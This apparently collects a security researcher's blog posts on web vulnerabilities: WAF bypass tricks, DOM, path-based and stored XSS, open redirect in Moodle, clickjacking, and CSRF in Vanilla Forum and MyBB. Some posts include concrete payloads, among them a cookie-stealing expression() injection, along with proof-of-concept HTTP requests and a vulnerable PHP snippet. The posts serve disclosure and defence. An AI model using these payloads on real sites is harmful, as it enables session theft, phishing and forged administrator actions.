Handling Cross-Site Scripting As Attacks Get More Sophisticated

Adopting third-party libraries to encode user input in the development phase and using a web application firewall in the deployment phase could fool web security managers into thinking their web applications are completely safe from Cross-Site Scripting (XSS) attacks. While it’s a good idea to employ these techniques, the illusion of safety could prove costly. These protection methods do not guarantee that your web applications are 100% free of XSS vulnerabilities, and XSS attacks that use more sophisticated techniques still occur, so care should still be taken.

Webappsec imageIn the past several months, Yahoo and Facebook patched two critical XSS vulnerabilities.  These clearly show XSS vulnerabilities continue to occur in modern and mature web applications, even for Internet companies. The XSS vulnerability in Yahoo email was straightforward: the input validation was not robust enough to escape malicious code, and the attacker was able to break input validation. The one patched by Facebook was a little trickier because it exploited a bug in the file upload function to upload malicious JavaScript code and then invoked the code by calling it from a different application. Just this week as I was finishing this blog post, an insufficient input validation XSS vulnerability was disclosed in the popular WordPress pluginNinjaForm.

As I have observed from my work experience and as a bug bounty hunter, XSS vulnerabilities are definitely not going away — and many attacks are getting more sophisticated. The golden age of penetration testing, when pen testers could discover XSS vulnerabilities simply by inputting malicious code into a search box, is over. It often takes more skill and effort for webmasters to discover the XSS vulnerabilities they need to protect against.

XSS Hidden by Web Application Firewalls

Web application firewalls (WAFs) are commonly used to protect web applications. They are indeed effective in blocking a large number of web attacks. Some pen testers give up immediately when they determine the web application is deployed behind a web application firewall. However, a WAF is just like a cast that by itself does not fix the broken limb. And like a cast, a WAF is best used as a temporary protection until the underlying issue, in this case a coding error, is fixed and redeployed.

Instead of fixing the issue, WAFs just hide XSS vulnerabilities and makes it harder for attackers to exploit them, which is their purpose; but WAFs also makes it more difficult for penetration testers or automatic scanners to discover these vulnerabilities. According to the research, over 70% of existing WAF rulesets can be bypassed through XSS obfuscation techniques. As a rule-based tool, WAFs trap the main cases for which rules are defined, but not all of the corner cases — the development effort spent to make the perfect ruleset would be better spent fixing the underlying coding error.

Recommendation: When running a security audit, e.g. via automated tools or penetration tests, always disable your WAF so that the XSS vulnerabilities can be discovered to the greatest extent. You want to make it easy on yourself to find XSS vulnerabilities, so you can fix them in your code.

In my work, I have seen many examples where customers claimed that Qualys Web Application Scanning (WAS) had generated false positives, when in fact they were true positives but the customer didn’t see the exploit because they were protected by a WAF. In these cases, I could often exploit the XSS anyway by coding exploits that bypassed the WAF protection.

Example: Methods to bypass WAF could be found on the Internet: Using escape sequences (%00onload%00=%00) instead of regular text; or an alternative XSS method, such as, payload document.body.outerHTML=maliciouscodes could be used to break some WAFs.

More Sophisticated XSS Attacks

Three types of sophisticated XSS attacks are difficult for pen testers and tools to discover. It is not easy to propose new techniques to combat these, except enhancing security implementation during web development and employing a DAST (dynamic application security testing) tool for regular security audits to make sure you catch any that were inadvertently included in your code.


Attacks against DOM-Based (Direct Object Model) XSS vulnerabilities modify the client side DOM tree in the victim’s browsers and run malicious code; as opposed to a traditional XSS vulnerability which exploits the server side code. DOM-based XSS vulnerabilities are harder to detect than the traditional XSS vulnerability because they resides in the script code from the website and the injection payloads are not reflected directly in the response. It has been estimated that 30% of XSS attacks on live websites are XSS inside JavaScript code and cannot be blocked by a WAF. Due to the difficulty of discovering them, DOM-based XSS vulnerabilities become a blind spot for many scanning tools and penetration tests.

Example: Here is the normal format of a DOM-based XSS attack vector


Multiple Step XSS

Multiple Step XSS vulnerabilities require the user to perform several actions on the applications to execute the attack vector/injected malicious JavaScript code. The main characteristics of multiple step XSS vulnerabilities are that the attack vector is injected in one page and then echoed in another page or application later. Due to this factor, it creates a challenge for penetration tests or ordinary DAST tools to identify this kind of vulnerability.

Example: Qualys WAS reported a XSS vulnerability in a customer’s application. The customer’s security team claimed they could not find the injection point and wanted to flag it as a false positive. After investigation, we found the injection point was from a different subdomain and the malicious code was invoked by making a search with a keyword matching with the malicious code injected in the response.

Path-Based XSS

Targets for Path-Based XSS attacks are applications where the request URLs are rendered directly in the response body without proper encoding or input validation. The following source code snippet is a model demonstrating how path-based XSS vulnerabilities reside in your web applications.

<a href=" <?php echo $_SERVER['REQUEST_URI'];?>">Click Here</a>

Example: Path-Based XSS vulnerabilities are a special breed but it is not rare. I have discovered path based XSS vulnerability in PHPBB3 and some other open source web applications. Meanwhile, multiple path-based XSS vulnerabilities were flagged in our clients’ web applications. The attack vector looks like:https://example.com/public/<Malicious JavaScript Code>/directory1


While WAFs are a great protection measure against attacks on vulnerabilities resulting from coding errors that you have not yet fixed and deployed, you should always disable WAFs for internal testing. This helps ensure you don’t inadvertently overlook any simple XSS vulnerabilities in your code. It’s always safer to fix the underlying vulnerability than to rely on a WAF for long-term protection.

In addition, developers should take care in their coding to look for the more subtle XSS vulnerabilities, since we are regularly finding attacks that try to exploit these.

How Ignoring Low-Level Security Risks Can Open the Door to Major Attacks

With the rise in attacks against web applications, cyber security teams naturally have prioritized the elimination of high-risk threats, such as SQL injections and cross-site scripting (XSS) vulnerabilities. The flip side of this is that many cybersecurity teams choose to ignore or delay the remediation of low-level security vulnerabilities in their web applications. Unfortunately, this isn’t a wise strategy. Underestimating the importance of fixing low-level security issues could create a major problem for an organization. Why? By exploiting a combination of seemingly trivial vulnerabilities, attackers can sometimes open up a big security gap that lets them do extreme damage. In this article, I will demonstrate such a scenario, showing how by taking advantage of several unfixed low-level security issues, an attacker could gain full administrator access to a popular web application.

Three low level issues discovered in MyBB

In a recent audit of MyBB, I found three low-level security issues which, if exploited in aggregate, could allow a hacker to gain total control of this open source application which people use to create discussion forums. The issue has been partially addressed in its latest version — MyBB 1.8.7 – so users are no longer vulnerable to the danger described here.

Continue Reading at Qualys Community Blog

Exploit XSS in <link rel=’canonical’> when characters < and > are filterred

In one of our customer’s website, the injection point is in <link rel=’canonical’ href=”> tag and it looks like something like

 <link rel=’cannoical’ href=’http://example.com/test.php?pid=<?php echo $_SERVER[‘QUERY_STRING’];>’>

The server will encode <, > and “, if you try http://example.com/test.php?pid=”<qss>, the response will be

<link rel="canonical" href='http://example.com/test.php?pid=&quot;&lt;qss&gt;' />

Under this case, using the following payload, you could exploit this XSS under IE7  and IE 8.

http://example.com/test.php?pid=’style=’x:expression(alert(document.cookie))’ t


How Open Redirection Threatens Your Web Applications

Open redirection is listed in the OWASP Top 10 for 2013 and 2010 (10th position in both lists) since it is still an active threat in modern web applications. Open redirection occurs when a vulnerable web page is redirected to an untrusted and malicious page that may compromise the user.  Open redirection attacks usually come with a phishing attack because the modified vulnerable link is identical to the original site, which increases the likelihood of success for the phishing attack.

While open redirection is not exactly common, my research was able to uncover several open source applications that were vulnerable. In this article, I describe the results of my research, and some recommendations for avoiding open redirection vulnerabilities in your code.

Vulnerability Found and Fixed in Moodle

Six months ago when I was evaluating the popular open source learning management software Moodle, I discovered an open redirect vulnerability caused by a lack of constraints on the referer parameter. This vulnerability could redirect users to a non-local website and launch a phishing attack. It has been fixed (by adding code to replace the referer with a local URI when the referer value was used as a redirection vector), and the detail has been listed in CVE-2015-3175 and MSA-15-0019.

Proof of Concept

GET /moodle/mod/forum/post.php?forum=1 HTTP/1.1
Host: Yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: &#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x77;&#x77;&#x77;&#x2E;&#x71;&#x75;&#x61;&#x6C;&#x79;&#x73;&#x2E;&#x63;&#x6F;&#x6D;
Connection: keep-alive

By make the request and clicking the “cancel” button in the response page, the user will be redirected to https://www.qualys.com. By taking advantage of this vulnerability, an attacker could launch a phishing attack there very easily.

Research Uncovered More Vulnerable Applications

After submitting this issue and getting it accepted by the Moodle developer team, I decided to commit some time to check whether open redirection is a popular and underlying threat that could damage modern web applications.

I conducted some pen tests against some popular web sites as well as some web applications in a bounty list.

After conducting research off-and-on for several months, the results are bittersweet.  The good news is that most web applications are deployed with some input validation to block redirection to a different domain when there are users’ input requiring a URL value.  However, some web applications do not implement the countermeasure correctly or they do not protect against open redirection at all, which leaves them vulnerable.

More details could be found at Qualys Community blog

Clickjacking: A Common Implementation Mistake Can Put Your Websites in Danger

The X-Frame-Options HTTP response header is a common method to protect against the clickjacking vulnerability since it is easy to implement and configure, and all modern browsers support it. As awareness of clickjacking has grown in the past several years, I have seen more and more Qualys customers adopt X-Frame-Options to improve the security of their web applications.

However, I have also noticed there is a common implementation mistake that causes some web applications to be vulnerable to clickjacking attack even though they have X-Frame-Options configured. In this article, I describe the implementation mistake and show how to check your web applications to ensure X-Frame-Options is implemented correctly.

The implementation error was caused when there are more than one X-Frame-Options item presented in the response header, please go to my post under qualys community to get the full articles.

From XSS to CSRF, how to gain administrator control of websites hosting myBB

I describe how XSS vulnerabilities can be used to attack popular open source web applications and application frameworks, and how some web applications are compromised by CSRF attacks because of implementation flaws on the server side.

In most of the case, an attacker will combine these two kinds of vulnerability to launch destructive attacks. In a recent audit against MyBB 1.8.3, I discovered a XSS vulnerability and I demonstrated how to gain administrator access to the website hosting MyBB though session hijacking was prohibited there.  To get a quick look at this article, please read my blog under Qualys Community…

Do Your Anti CSRF Tokens Really Protect Your Web Apps from CSRF Attacks

A research article about CSRF Do Your Anti-CSRF Tokens Really Protect Your Web Apps from CSRF Attacks?  has been published in Qualys Security Lab. This articles indicates how popular web applications are compromised by CSRF attack though they deploy anti-CSRF tokens in their applications.

As described in the article, a webmaster should not consider his/her web application are immune to CSRF attack if though he/she sees the anti-CSRF tokens deployed in his/her web sites. Read more here


CSRF and Stored XSS vulnerability at Vanilla 2.1.6

CSRF and Stored XSS vulnerability at Vanilla 2.1.6

When I was conducting research about CSRF protection method in popular web applications  at Qualys.  As described in the research article, Vanilla Forum 2.1.6 is one of the victims that are suffering from CSRF attack though anti-CSRF tokens are deployed in the web applications. Currently, it has been fixed with VanillaForums 2.1.7

CSRF Vulnerabilities

CSRF Vulnerability 1

The CSRF vulnerability could be found at the post discussion function, which will enable an attacker to trigger the admin user to post as many malicious discussions as possible when an authenticated admin makes the following request


POST /vanilla/index.php?p=/post/discussion HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 193
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920140
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

 TransientKey=T4XEZV8VMRTR&hpt=&DiscussionID=&DraftID=0&CategoryID=1&Name=CSRF_Attack&Body=Let us disscuss CSRF Here&Announce=0&DeliveryType=VIEW&DeliveryMethod=JSON&Post_Discussion=Post Discussion

The anti-CSRF token TransientKey  does not function because the server-side is not checking whether the anti-CSRF token TransientKey is presented or not. The request will be processed by the server-side even without the presence of the TransientKey. 

Following is the screenshot of the response by triggering the admin to make the request. As you could find, a new discussion with name “CSRF_Attack” will be posted at the main pages of the website.


CSRF Vulnerability 2

This vulnerability will allow an attacker to change/edit all the posted discussion in the forums by triggering admin user to make the following request.


POST /vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
Host: yourhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 167
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Similar to the previous CSRF vulnerability, this vulnerability was exposed because the server side does not check the anit-CSRF token when processing this request.Vanilla_CSRF_Vulnerability_2

XSS Vulnerability

Besides the CSRF vulnerability, actually there is an XSS vulnerability in the edit discussion function as well.


POST / vanilla/index.php?p=/vanilla/post/editdiscussion/1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1;WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding:gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 221
Cookie: Vanilla=1-1420142760%7C4b9b4380637aacae40aa5a3869b91e17%7C1417550760%7C1%7C1420142760; Vanilla-Vv=1417920828
  Connection: keep-alivePragma: no-cache
Cache-Control: no-cache


The injected XSS codes will not be filtered on the server and it will be executed directly on the browser .http://yourhost/vanilla/index.php?p=/discussion/1/, since the XSS code are the content of the discussion, which will be a store XSS vulnerabilityVanilla_XSS_Vulnerability.


As a web master, the presence of anti-CSRF token in the web application does not mean the web application is protected from CSRF attacking since the developer might forget to add the server-side validation to check whether the CSRF token is valid or not, you should double-check whether the anti-CSRF token is probably deployed.

As a pen tester, you should not stand off if you saw the csrf tokens in the html page. Just spend several seconds to check whether the anti-CSRF token is working, you might find a big rewards behind it.